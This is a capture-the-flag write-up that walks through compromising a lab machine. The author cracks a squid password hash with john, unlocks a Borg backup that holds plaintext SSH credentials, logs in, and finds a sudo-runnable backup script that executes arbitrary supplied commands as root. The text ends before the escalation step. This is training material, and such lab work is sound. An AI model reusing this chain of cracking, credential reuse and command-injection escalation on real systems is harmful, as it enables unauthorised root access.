Going over to /etc directory, we find a hash at /etc/squid/passwd to a music_archive
2.2 John
Coping the hash to hash.txt and running john to crack it
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
squidward (?)
1g 0:00:00:00 DONE (2022-07-16 12:43) 1.666g/s 64960p/s 64960c/s 64960C/s 112806..samantha5
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We get a potential password squidward
2.3 /admin
Going over to /admin directory
Navigating the webpage to /admin/admin.html, we find a conversation
Here, there is a mention of squid proxy , and a backup of music_archive as well as potential usernames Josh, Adam and Alex
We can find the archive, and it has an option to download it from the homepage
Downloading the archive archive.tar and extracting it
Reading the README file, we see that it is a Borg backup repository, and it gives us a link to the documentation
cat home/field/dev/final_archive/README
This is a Borg Backup repository.
See https://borgbackup.readthedocs.io/
2.4 Borg Backup
We can install borg in our Debian system with apt install borgbackup
We can list the files present using the option list and the path of the archive. A password is prompted, and we can use squidward which we had cracked earlier from the hash to show the archive
borg list home/field/dev/final_archive
Enter passphrase for key /home/joseph/Desktop/Pentest/THM/cyborg/home/field/dev/final_archive:
music_archive Tue, 2020-12-29 19:30:38 [f789ddb6b0ec108d130d16adebf5713c29faf19c44cad5e1eeb8ba37277b1c82]
We can extract the files in archive with the command extract and specifying the archive name
borg extract home/field/dev/final_archive/::music_archive
Enter passphrase for key /home/joseph/Desktop/Pentest/THM/cyborg/home/field/dev/final_archive:
~/Desktop/Pentest/THM/cyborg ❯ ls 5s
archive.tar hash.txt home
~/Desktop/Pentest/THM/cyborg ❯ cd home
~/Desktop/Pentest/THM/cyborg/home ❯ ls
alex field
The archive got extracted to the home directory
There is a note.txt in home/alex/Documents
Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!
alex:S3cretP@s3
This might be the login creds of alex
alex : S3cretP@s3
3. Gaining Access
3.1 SSH
We can ssh into the target with the credentials that we found.
ssh alex@10.10.116.223
The authenticity of host '10.10.116.223 (10.10.116.223)' can't be established.
ECDSA key fingerprint is SHA256:uB5ulnLcQitH1NC30YfXJUbdLjQLRvGhDRUgCSAD7F8.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.116.223' (ECDSA) to the list of known hosts.
alex@10.10.116.223's password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.15.0-128-generic x86_64)
We can see that Alex can run /etc/mp3backups/backup.sh as root
sudo -l
Matching Defaults entries for alex on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
4. Privilege Escalation
Reading the script, we find that it is a script that compress mp3 files to an archive and can execute the command that we provide.
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"
# Where to backup to.
dest="/etc/mp3backups/"
# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
cmd=$($command)
echo $cmd
